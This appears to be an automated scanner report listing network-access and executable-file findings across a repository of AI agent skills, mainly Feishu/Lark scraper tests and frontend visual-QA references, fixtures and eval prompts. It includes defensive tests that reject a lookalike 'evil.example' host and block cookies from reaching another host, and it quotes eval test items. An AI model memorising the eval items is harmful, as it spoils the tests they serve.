    ]             self.assertEqual(len(items), 1)             self.assertEqual(items[0]["url"], "https://tenant.larkoffice.com/wiki/AbCdEfGhIjKlMnOpQrStUv")
  • Network accessline 93
    self.assertEqual(len(items), 1)             self.assertEqual(items[0]["url"], "https://tenant.larkoffice.com/wiki/AbCdEfGhIjKlMnOpQrStUv")             self.assertEqual(
  • Network accessline 94
    self.assertEqual(items[0]["url"], "https://tenant.larkoffice.com/wiki/AbCdEfGhIjKlMnOpQrStUv")

feishu-doc-scraper/tests/test_comments.py

  • Executable scriptline 1
    Executable file
  • Network accessline 39
    calls.append((args, profile))             return responses.pop(0)         got = mod.capture("https://example.feishu.cn/wiki/node", "all", "chosen", caller=call)
  • Network accessline 40
    return responses.pop(0)         got = mod.capture("https://example.feishu.cn/wiki/node", "all", "chosen", caller=call)         self.assertEqual(got["status"], "complete")
  • Network accessline 41
    got = mod.capture("https://example.feishu.cn/wiki/node", "all", "chosen", caller=call)
  • Network accessline 52
    def test_zero_comments_is_complete_only_after_success(self):         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: page([]))
  • Network accessline 53
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: page([]))
  • Network accessline 64
    return page([card("c1", reply_list={"replies": [reply("preview")]})])             raise mod.CaptureError("permission denied")         got = mod.capture("https://example.feishu.cn/docx/doc", caller=call)
  • Network accessline 65
    raise mod.CaptureError("permission denied")         got = mod.capture("https://example.feishu.cn/docx/doc", caller=call)         self.assertEqual(got["status"], "partial")
  • Network accessline 66
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=call)
  • Network accessline 73
    for response in ({"items": []}, page([], True, "")):             with self.subTest(response=response):                 got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: response)
  • Network accessline 74
    with self.subTest(response=response):                 got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: response)                 self.assertEqual(got["status"], "partial")
  • Network accessline 75
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: response)
  • Network accessline 80
    for max_pages in (1, 5):             with self.subTest(max_pages=max_pages):                 got = mod.capture("https://example.feishu.cn/docx/doc", max_pages=max_pages,
  • Network accessline 81
    with self.subTest(max_pages=max_pages):                 got = mod.capture("https://example.feishu.cn/docx/doc", max_pages=max_pages,                                   caller=lambda *_: page([], True, "same"))
  • Network accessline 82
    got = mod.capture("https://example.feishu.cn/docx/doc", max_pages=max_pages,
  • Network accessline 86
    def test_preview_reply_cannot_disappear(self):         responses = [page([card("c1", reply_list={"replies": [reply("r1")]})]), page([])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 87
    responses = [page([card("c1", reply_list={"replies": [reply("r1")]})]), page([])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))         self.assertEqual(got["status"], "partial")
  • Network accessline 88
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 93
    r["content"]["elements"].append({"type": "future_format", "payload": "feedback"})         responses = [page([card("c1")]), page([r])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 94
    responses = [page([card("c1")]), page([r])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))         self.assertTrue(got["threads_complete"])
  • Network accessline 95
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 118
    with self.subTest(shape=name):                 responses = [page([card("c1")]), page([candidate])]                 got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 119
    responses = [page([card("c1")]), page([candidate])]                 got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))                 self.assertEqual(got["status"], expected_status)
  • Network accessline 120
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 132
    responses = [page([card("c1"), card("c2")]),                      page([abnormal]), page([reply("r2", "second thread text")])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 133
    page([abnormal]), page([reply("r2", "second thread text")])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))         self.assertEqual(got["status"], "partial")
  • Network accessline 134
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 151
    [Credential-related source omitted]
  • Network accessline 152
    [Credential-related source omitted]
  • Network accessline 153
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 163
    mod.call_cli(["drive", "+list-comments"])         responses = [page([card("c1")]), page([{**reply("r1"), "content": None}])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 164
    responses = [page([card("c1")]), page([{**reply("r1"), "content": None}])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))         self.assertEqual(got["status"], "partial")
  • Network accessline 165
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 178
    with self.subTest(card=c, reply=r):                 responses = [page([c]), page([r])]                 got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 179
    responses = [page([c]), page([r])]                 got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))                 self.assertEqual(got["status"], "partial")
  • Network accessline 180
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 188
    responses = [page([card("c1")]), page([reply("r1")], True, "next"),                      page([reply("r1", "different")])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 189
    page([reply("r1", "different")])]         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))         self.assertEqual(got["status"], "partial")
  • Network accessline 190
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: responses.pop(0))
  • Network accessline 193
    def test_new_snapshot_and_old_snapshot_preserved(self):         got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: page([]))
  • Network accessline 194
    got = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: page([]))
  • Network accessline 204
    def test_cli_partial_exit_and_existing_output(self):         partial = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: {})
  • Network accessline 205
    partial = mod.capture("https://example.feishu.cn/docx/doc", caller=lambda *_: {})
  • Network accessline 207
    target = str(Path(directory) / "discussion")             with patch("sys.stdout"):                 self.assertEqual(mod.main(["--url", "https://example.feishu.cn/docx/doc", "--out-dir", target]), 3)
  • Network accessline 208
    with patch("sys.stdout"):                 self.assertEqual(mod.main(["--url", "https://example.feishu.cn/docx/doc", "--out-dir", target]), 3)             with self.assertRaises(SystemExit):
  • Network accessline 209
    self.assertEqual(mod.main(["--url", "https://example.feishu.cn/docx/doc", "--out-dir", target]), 3)
  • Network accessline 211
    mod.main(["--url", "https://example.feishu.cn/docx/doc", "--out-dir", target])

feishu-doc-scraper/tests/test_feishu_extract_refs.py

  • Executable scriptline 1
    Executable file
  • Network accessline 23
    def test_three_domains_extracted(self) -> None:         text = (             "https://tenant.feishu.cn/wiki/AbCdEfGh123\n"
  • Network accessline 24
    text = (             "https://tenant.feishu.cn/wiki/AbCdEfGh123\n"             "https://tenant.larkoffice.com/docx/AbCdEfGh456\n"
  • Network accessline 25
    "https://tenant.feishu.cn/wiki/AbCdEfGh123\n"
  • Network accessline 26
    "https://tenant.larkoffice.com/docx/AbCdEfGh456\n"
  • Network accessline 27
    "https://tenant.larksuite.com/base/AbCdEfGh789\n"
  • Network accessline 31
    refs,             {                 "https://tenant.feishu.cn/wiki/AbCdEfGh123",
  • Network accessline 32
    {                 "https://tenant.feishu.cn/wiki/AbCdEfGh123",                 "https://tenant.larkoffice.com/docx/AbCdEfGh456",
  • Network accessline 33
    "https://tenant.feishu.cn/wiki/AbCdEfGh123",
  • Network accessline 34
    "https://tenant.larkoffice.com/docx/AbCdEfGh456",
  • Network accessline 35
    "https://tenant.larksuite.com/base/AbCdEfGh789",
  • Network accessline 39
    def test_personal_space_and_path_scheme(self) -> None:         text = (             "https://my.feishu.cn/minutes/AbCdEfGh123\n"
  • Network accessline 40
    text = (             "https://my.feishu.cn/minutes/AbCdEfGh123\n"             "https://tenant.feishu.cn/sheets/AbCdEfGh456\n"
  • Network accessline 41
    "https://my.feishu.cn/minutes/AbCdEfGh123\n"
  • Network accessline 42
    "https://tenant.feishu.cn/sheets/AbCdEfGh456\n"
  • Network accessline 48
    def test_lookalike_suffix_host_rejected(self) -> None:         text = "https://tenant.larkoffice.com.evil.example/wiki/AbCdEfGh123"
  • Network accessline 49
    text = "https://tenant.larkoffice.com.evil.example/wiki/AbCdEfGh123"
  • Network accessline 53
    def test_unrelated_host_rejected(self) -> None:         text = "https://tenant.example.com/wiki/AbCdEfGh123"
  • Network accessline 54
    text = "https://tenant.example.com/wiki/AbCdEfGh123"
  • Network accessline 60
    text = "https://tenant.feishu.cn/wiki/AbCdEfGhIjKlMnOpQrStUv"
  • Network accessline 61
    refs = [r for r in MODULE.extract(text) if r["type"] == "url-wiki"]         self.assertEqual(len(refs), 1)         self.assertEqual(refs[0]["ref"], "https://tenant.feishu.cn/wiki/AbCdEfGhIjKlMnOpQrStUv")
  • Network accessline 63
    self.assertEqual(refs[0]["ref"], "https://tenant.feishu.cn/wiki/AbCdEfGhIjKlMnOpQrStUv")
  • Network accessline 94
    def test_wiki_hint_fired_in_extracted_ref(self) -> None:         text = "https://tenant.feishu.cn/wiki/AbCdEfGhIjKlMnOpQrStUv"
  • Network accessline 95
    text = "https://tenant.feishu.cn/wiki/AbCdEfGhIjKlMnOpQrStUv"

feishu-doc-scraper/tests/test_original_media.py

  • Executable scriptline 1
    Executable file
  • Network accessline 28
    self.root = Path(self.temp.name)         self.data = b'original bytes 012345678'         self.spec = {'url': 'https://example.feishu.cn/observed-original', 'headers': {},
  • Network accessline 29
    self.data = b'original bytes 012345678'         self.spec = {'url': 'https://example.feishu.cn/observed-original', 'headers': {},                      'identity': 'synthetic-token@revision-1', 'size': len(self.data)}
  • Network accessline 30
    self.spec = {'url': 'https://example.feishu.cn/observed-original', 'headers': {},
  • Network accessline 88
    def test_no_credentials_cross_host(self):         with self.assertRaises(ValueError):             download.check_url('https://example.org/credential-destination')
  • Network accessline 89
    with self.assertRaises(ValueError):             download.check_url('https://example.org/credential-destination')         request = download.urllib.request.Request(self.spec['url'], headers={'Cookie': 'synthetic'})
  • Network accessline 90
    download.check_url('https://example.org/credential-destination')
  • Network accessline 91
    request = download.urllib.request.Request(self.spec['url'], headers={'Cookie': 'synthetic'})
  • Network accessline 93
    download.FeishuRedirect().redirect_request(request, None, 302, '', {}, 'https://other.feishu.cn/x')
  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    (root / 'capture.json').write_text(json.dumps({'data': {'document': {'title': '标题', 'content': raw}}}))         result = render.render(root / 'capture.json', root / 'manifest.json', root / 'note.md', 'https://example.feishu.cn/wiki/node')  
  • Network accessline 115
    result = render.render(root / 'capture.json', root / 'manifest.json', root / 'note.md', 'https://example.feishu.cn/wiki/node')
  • Network accessline 143
    'content': raw, 'revision_id': 545}}}))                 result = render.render(root / 'capture.json', root / 'manifest.json', root / 'note.md',                                        f'https://tenant.{host}/docx/DocumentToken1234567890',
  • Network accessline 144
    result = render.render(root / 'capture.json', root / 'manifest.json', root / 'note.md',                                        f'https://tenant.{host}/docx/DocumentToken1234567890',                                        'discussion/comment
  • Network accessline 145
    f'https://tenant.{host}/docx/DocumentToken1234567890',
  • Network accessline 170
    with self.assertRaisesRegex(ValueError, 'original Feishu/Lark URL'):             render.render(self.root / 'capture.json', self.root / 'manifest.json',                           self.root / 'host.md', 'https://example.org/wiki/node')
  • Network accessline 171
    render.render(self.root / 'capture.json', self.root / 'manifest.json',                           self.root / 'host.md', 'https://example.org/wiki/node')         for discussion in ('/absolute/comments.md', '../outside.md', 'missing.md'):
  • Network accessline 172
    self.root / 'host.md', 'https://example.org/wiki/node')
  • Network accessline 175
    with self.assertRaises(ValueError):                     render.render(self.root / 'capture.json', self.root / 'manifest.json',                                   self.root / 'discussion.md', 'https://example.feishu.cn/wiki/node',
  • Network accessline 176
    render.render(self.root / 'capture.json', self.root / 'manifest.json',                                   self.root / 'discussion.md', 'https://example.feishu.cn/wiki/node',                                   discussion)
  • Network accessline 177
    self.root / 'discussion.md', 'https://example.feishu.cn/wiki/node',
  • Network accessline 200
    capture.write_text(json.dumps({'data': {'document': {'title': 'Synthetic lesson',             'content': '<p>Body.</p><img src="SyntheticMediaToken1234567890"/>'}}}))         result = render.render(capture, manifest, self.root / 'oss.md', '
  • Network accessline 201
    'content': '<p>Body.</p><img src="SyntheticMediaToken1234567890"/>'}}}))         result = render.render(capture, manifest, self.root / 'oss.md', 'https://example.feishu.cn/wiki/node')         self.assertEqual(result['media_references'], 1)
  • Network accessline 202
    result = render.render(capture, manifest, self.root / 'oss.md', 'https://example.feishu.cn/wiki/node')
  • Network accessline 204
    self.assertIn('![](<media/original.png>)', (self.root / 'oss.md').read_text())         entry['storage'] = 'source'         entry['locator'] = {'system': 'feishu', 'source_url': 'https://example.feishu.cn/wiki/SyntheticNodeToken1234567890',
  • Network accessline 205
    [Credential-related source omitted]
  • Network accessline 206
    entry['locator'] = {'system': 'feishu', 'source_url': 'https://example.feishu.cn/wiki/SyntheticNodeToken1234567890',
  • Network accessline 209
    manifest.write_text(json.dumps({'files': [entry]}))         with self.assertRaisesRegex(ValueError, 'disagree'):             render.render(capture, manifest, self.root / 'conflict.md', 'https://example.feishu.cn/wiki/node')
  • Network accessline 211
    render.render(capture, manifest, self.root / 'conflict.md', 'https://example.feishu.cn/wiki/node')
  • Network accessline 213
    def test_catalog_preserves_source_identity_and_does_not_classify(self):         (self.root / 'lesson.md').write_text('---\ntitle: "Lesson"\nsource: "https://example.feishu.cn/wiki/node"\nqmd:\n  metadata:\n    platform: "feishu"\n    key: "
  • Network accessline 214
    (self.root / 'lesson.md').write_text('---\ntitle: "Lesson"\nsource: "https://example.feishu.cn/wiki/node"\nqmd:\n  metadata:\n    platform: "feishu"\n    key: "node"\n    kind: "course"\n---\n\nOriginal body.\n')

feishu-doc-scraper/tests/test_reader_delivery.py

  • Executable scriptline 1
    Executable file
  • Network accessline 41
    row.update(role='embedded_media_original', storage='source', cache_path=rel,                            mime='image/png' if p.suffix == '.png' else 'video/mp4',                            locator={'system':'feishu', 'source_url':'https://ex
  • Network accessline 42
    [Credential-related source omitted]
  • Network accessline 43
    locator={'system':'feishu', 'source_url':'https://example.feishu.cn/wiki/SyntheticNodeToken1234567890',
  • Network accessline 78
    video.update(storage="nas", locator={"system":"nas", "device":"synthetic-nas-001",                      "account":"archive-user", "path":"Downloads/course name.mp4",                      "source_url":"https://www.youtube.com/watch?v=BaW_jen
  • Network accessline 79
    "account":"archive-user", "path":"Downloads/course name.mp4",                      "source_url":"https://www.youtube.com/watch?v=BaW_jenozKc"})         self.manifest.write_text(json.dumps(payload))
  • Network accessline 80
    "source_url":"https://www.youtube.com/watch?v=BaW_jenozKc"})
  • Network accessline 105
    for text in ['<iframe src="file:///synthetic-outside/movie.mp4"></iframe>',                      '<object data="/synthetic-outside/image.png"></object>',                      '<embed src="https://example.org/external.png">',
  • Network accessline 106
    '<object data="/synthetic-outside/image.png"></object>',                      '<embed src="https://example.org/external.png">',                      '<iframe src="media/course%20name.mp4"></iframe>']:
  • Network accessline 107
    '<embed src="https://example.org/external.png">',
  • Network accessline 137
    [source](https://example.feishu.cn/wiki/SyntheticNodeToken1234567890)
  • Network accessline 157
    (self.root/'note.md').write_text('![[media/image.png]]\n\n[video](media/course%20name.mp4)')         self.seal();r=self.inspect();self.assertEqual(r['examined_files'],3)         (self.root/'note.md').write_text('![[https://example.org/exter
  • Network accessline 158
    self.seal();r=self.inspect();self.assertEqual(r['examined_files'],3)         (self.root/'note.md').write_text('![[https://example.org/external.png]]');self.seal()         with self.assertRaisesRegex(ValueError,'embed is not a movable'):self
  • Network accessline 159
    (self.root/'note.md').write_text('![[https://example.org/external.png]]');self.seal()
  • Network accessline 165
    *(f'head{separator}body\n' for separator in ('\u2028', '\u2029', '\x85', '\x0b', '\x0c'))):             with self.subTest(prefix=prefix):                 refs = gate.references(prefix + '![[https://example.org/external.png]]')
  • Network accessline 166
    with self.subTest(prefix=prefix):                 refs = gate.references(prefix + '![[https://example.org/external.png]]')                 self.assertEqual(refs, [('https://example.org/external.png', True, 'markdown')])
  • Network accessline 167
    refs = gate.references(prefix + '![[https://example.org/external.png]]')
  • Network accessline 168
    self.assertEqual(refs, [('https://example.org/external.png', True, 'markdown')])
  • Network accessline 169
    for text in (r'\![[https://example.org/external.png]]',
  • Network accessline 170
    r'\![ordinary](https://example.org/external.png "wikilink")',
  • Network accessline 171
    '! [ordinary](https://example.org/external.png "wikilink")',
  • Network accessline 172
    '[ordinary](https://example.org/external.png "wikilink")'):
  • Network accessline 173
    with self.subTest(text=text):                 self.assertEqual(gate.references(text), [('https://example.org/external.png', False, 'markdown')])         self.assertEqual(gate.references('`![[https://example.org/code.png]]`'), [])
  • Network accessline 174
    self.assertEqual(gate.references(text), [('https://example.org/external.png', False, 'markdown')])
  • Network accessline 175
    self.assertEqual(gate.references('`![[https://example.org/code.png]]`'), [])
  • Network accessline 177
    def test_linked_thumbnail_is_checked_with_its_source_link(self):         (self.root/'note.md').write_text('[![](media/image.png)](https://example.org/source)')
  • Network accessline 178
    (self.root/'note.md').write_text('[![](media/image.png)](https://example.org/source)')
  • Network accessline 267
    outside=self.base/'outside.md'         with self.assertRaisesRegex(ValueError,'inside the declared archive'):             render.render(capture,self.manifest,outside,'https://example.feishu.cn/wiki/SyntheticNodeToken1234567890')
  • Network accessline 268
    with self.assertRaisesRegex(ValueError,'inside the declared archive'):             render.render(capture,self.manifest,outside,'https://example.feishu.cn/wiki/SyntheticNodeToken1234567890')         self.assertFalse(outside.exists())
  • Network accessline 269
    render.render(capture,self.manifest,outside,'https://example.feishu.cn/wiki/SyntheticNodeToken1234567890')

floorplan-finder/references/search-routes.md

  • Network accessline 47
    https://m.fang.com/xiaoqu/<city-code>/hxreport/<community-id>/<report-id>/

frontend-visual-qa/SKILL.md

  • Network accessline 339
    node <skill-root>/scripts/silent_degradation_probe.mjs font \       --url http://127.0.0.1:5173/ --weight 700 \
  • Network accessline 340
    --url http://127.0.0.1:5173/ --weight 700 \
  • Network accessline 355
    node <skill-root>/scripts/visual_layout_audit.mjs \       --url 'http://127.0.0.1:5173/?state=fixture#/ready' \
  • Network accessline 356
    --url 'http://127.0.0.1:5173/?state=fixture#/ready' \

frontend-visual-qa/assets/markdown-reader-pilot/source.html

  • Network accessline 34
    <figure id="complete-figure"> <div class="frame"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 260" role="img" aria-label="Two connectors">
  • Network accessline 35
    <div class="frame"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 260" role="img" aria-label="Two connectors"> <defs><marker id="arrow-complete" markerWidth="10" markerHeight="10" refX="9" refY="5" orient="auto"><path d="M0 0L10 
  • Network accessline 36
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 260" role="img" aria-label="Two connectors">
  • Network accessline 51
    <figure id="svg-fragment"> <div class="frame fragment"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 260" role="img" aria-label="Two connectors without labels">
  • Network accessline 52
    <div class="frame fragment"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 260" role="img" aria-label="Two connectors without labels"> <defs><marker id="arrow-fragment" markerWidth="10" markerHeight="10" refX="9" refY="5" orient=
  • Network accessline 53
    <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 260" role="img" aria-label="Two connectors without labels">

frontend-visual-qa/evals/evals.json

  • Network accessline 257
    "id": 18,       "name": "exact-target-stale-after-source-fix",       "prompt": "In the named local-UAT environment, a user reports that https://localhost:9443/login?tenant=fixture#/password still shows a visual defect. The source fix and un
  • Network accessline 258
    "name": "exact-target-stale-after-source-fix",       "prompt": "In the named local-UAT environment, a user reports that https://localhost:9443/login?tenant=fixture#/password still shows a visual defect. The source fix and unit tests are gre
  • Network accessline 259
    "prompt": "In the named local-UAT environment, a user reports that https://localhost:9443/login?tenant=fixture#/password still shows a visual defect. The source fix and unit tests are green, and http://localhost:5173/login looks correct. Ca
  • Network accessline 273
    "id": 19,       "name": "source-less-live-url-remains-visually-verifiable",       "prompt": "Audit only the current rendered state of https://example.invalid/report?account=42#/queue. No repository, release manifest, version endpoint, or de
  • Network accessline 274
    "name": "source-less-live-url-remains-visually-verifiable",       "prompt": "Audit only the current rendered state of https://example.invalid/report?account=42#/queue. No repository, release manifest, version endpoint, or deployment access 
  • Network accessline 275
    "prompt": "Audit only the current rendered state of https://example.invalid/report?account=42#/queue. No repository, release manifest, version endpoint, or deployment access is available. The page is reachable in the intended browser and th
  • Network accessline 302
    [Credential-related source omitted]
  • Network accessline 303
    [Credential-related source omitted]
  • Network accessline 304
    [Credential-related source omitted]

frontend-visual-qa/evals/files/dead-affordance-fixture.html

  • Network accessline 36
    <h2>Delivery screenshots — click any thumbnail to enlarge</h2>   <div class="gal">     <div class="shot"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20width='240'%20height='150'%3E%3Crect%20width='240'%20height=
  • Network accessline 37
    <div class="gal">     <div class="shot"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20width='240'%20height='150'%3E%3Crect%20width='240'%20height='150'%20fill='%23c9d6c9'/%3E%3Ctext%20x='120'%20y='80'%20font-siz
  • Network accessline 38
    <div class="shot"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20width='240'%20height='150'%3E%3Crect%20width='240'%20height='150'%20fill='%23c9d6c9'/%3E%3Ctext%20x='120'%20y='80'%20font-size='16'%20text-anchor='
  • Network accessline 39
    <div class="shot"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20width='240'%20height='150'%3E%3Crect%20width='240'%20height='150'%20fill='%23d6cbc9'/%3E%3Ctext%20x='120'%20y='80'%20font-size='16'%20text-anchor='
  • Network accessline 40
    <div class="shot"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20width='240'%20height='150'%3E%3Crect%20width='240'%20height='150'%20fill='%23c9cdd6'/%3E%3Ctext%20x='120'%20y='80'%20font-size='16'%20text-anchor='

frontend-visual-qa/evals/files/lazy-responsive-media-fixture.html

  • Network accessline 28
    <section class="branch desktop-branch" aria-label="Desktop media">       <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='32
  • Network accessline 29
    <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%230f7b5c'/%3E%3C/svg%3E" alt="Desktop first cover"
  • Network accessline 30
    <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%230f7b5c'/%3E%3C/svg%3E" alt="Desktop first cover">
  • Network accessline 32
    </div>       <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%231f8a70'/%3E%3C/svg%3E" alt="Desktop
  • Network accessline 33
    <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%231f8a70'/%3E%3C/svg%3E" alt="Desktop lower cover"
  • Network accessline 34
    <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%231f8a70'/%3E%3C/svg%3E" alt="Desktop lower cover">
  • Network accessline 39
    <section class="branch mobile-branch" aria-label="Mobile media">       <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320'
  • Network accessline 40
    <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%232d6f90'/%3E%3C/svg%3E" alt="Mobile first cover">
  • Network accessline 41
    <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%232d6f90'/%3E%3C/svg%3E" alt="Mobile first cover">
  • Network accessline 43
    </div>       <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%233d7fa0'/%3E%3C/svg%3E" alt="Mobile 
  • Network accessline 44
    <div class="media-row">         <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%233d7fa0'/%3E%3C/svg%3E" alt="Mobile lower cover">
  • Network accessline 45
    <img loading="lazy" data-src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='320' height='180'%3E%3Crect width='320' height='180' fill='%233d7fa0'/%3E%3C/svg%3E" alt="Mobile lower cover">

frontend-visual-qa/evals/trigger-evals.json

  • Network accessline 93
    },   {     "query": "源码和 5173 开发页都修好了,但我给你的 https://localhost:9443/login 还是旧样式。请查清这个精确 UAT 地址实际跑的版本,并在原地址重新做视觉验证。",
  • Network accessline 94
    {     "query": "源码和 5173 开发页都修好了,但我给你的 https://localhost:9443/login 还是旧样式。请查清这个精确 UAT 地址实际跑的版本,并在原地址重新做视觉验证。",     "should_trigger": true
  • Network accessline 95
    "query": "源码和 5173 开发页都修好了,但我给你的 https://localhost:9443/login 还是旧样式。请查清这个精确 UAT 地址实际跑的版本,并在原地址重新做视觉验证。",

frontend-visual-qa/references/auth-session-and-environment-traps.md

  • Network accessline 105
    A Playwright/Puppeteer-launched Chromium inherits `http_proxy`/`https_proxy` from the shell. On a developer machine with a system proxy, the browser then routes `http://127.0.0.1:<port>` API calls through the proxy, which cannot
  • Network accessline 106
    from the shell. On a developer machine with a system proxy, the browser then routes `http://127.0.0.1:<port>` API calls through the proxy, which cannot reach them — the frontend surfaces a generic "network error" toast that looks
  • Network accessline 107
    routes `http://127.0.0.1:<port>` API calls through the proxy, which cannot reach them — the frontend surfaces a generic "network error" toast that looks exactly like a product defect. Discriminator: the same URL answers `curl`

frontend-visual-qa/references/browser-driving-and-observation-traps.md

  • Network accessline 350
    know it: `video.networkState = 2` (LOADING) forever, `readyState = 0`, `video.error = null`, the request **absent from the network log** — while a page-context `fetch()` of the same URL succeeds instantly. Every component of the
  • Network accessline 351
    `video.error = null`, the request **absent from the network log** — while a page-context `fetch()` of the same URL succeeds instantly. Every component of the stack is healthy; the scheduler simply hasn't started the load.
  • Network accessline 352
    page-context `fetch()` of the same URL succeeds instantly. Every component of the
  • Network accessline 584
    server trap 3 recommends — **ignores Range and returns 200 with the whole body**, and the media element stalls at `readyState 0` indefinitely. Meanwhile `fetch()` with a bounded Range header "succeeds" (the server just ignores the
  • Network accessline 585
    body**, and the media element stalls at `readyState 0` indefinitely. Meanwhile `fetch()` with a bounded Range header "succeeds" (the server just ignores the header), and a full GET downloads fine — every probe short of the media stack
  • Network accessline 586
    `fetch()` with a bounded Range header "succeeds" (the server just ignores the
  • Network accessline 594
    curl -sS -D - -o /dev/null -H 'Range: bytes=0-100' "$media_url"
  • Network accessline 599
    representation. Other statuses or an unexpected range leave support unconfirmed. Do not use `curl -I` for this verdict: servers ignore Range on non-GET methods under [RFC 9110 §14.2](https://www.rfc-editor.org/rfc/rfc9110.html#section-14.2)
  • Network accessline 600
    Do not use `curl -I` for this verdict: servers ignore Range on non-GET methods under [RFC 9110 §14.2](https://www.rfc-editor.org/rfc/rfc9110.html#section-14.2). Then locate `moov` vs `mdat` byte offsets in the file; tail-moov without partia
  • Network accessline 601
    under [RFC 9110 §14.2](https://www.rfc-editor.org/rfc/rfc9110.html#section-14.2).
  • Network accessline 603
    delivery can delay playback and is not proof that every browser will stall. Escapes: a range-capable static server (many exist; verify with the same curl — expect `206` and a `Content-Range`), or `file://` for pure rendering
  • Network accessline 604
    Escapes: a range-capable static server (many exist; verify with the same curl — expect `206` and a `Content-Range`), or `file://` for pure rendering checks (native random access, no server), or serving faststart-remuxed copies.
  • Network accessline 605
    curl — expect `206` and a `Content-Range`), or `file://` for pure rendering
  • Network accessline 630
    hash; shell bytes neither prove a corrupt original nor establish its identity. If that ambiguity remains, an authorized diagnostic context can capture the exact clicked GET with `route.fetch()`, inspect that upstream body, and fulfill
  • Network accessline 631
    If that ambiguity remains, an authorized diagnostic context can capture the exact clicked GET with `route.fetch()`, inspect that upstream body, and fulfill with the unmodified upstream response. Keep this byte proof distinct from an
  • Network accessline 632
    exact clicked GET with `route.fetch()`, inspect that upstream body, and fulfill

frontend-visual-qa/references/data_viz_tier_and_token_audit.md

  • Network accessline 126
    - WCAG 2.2 Use of Color:   https://www.w3.org/WAI/WCAG22/Understanding/use-of-color.html
  • Network accessline 127
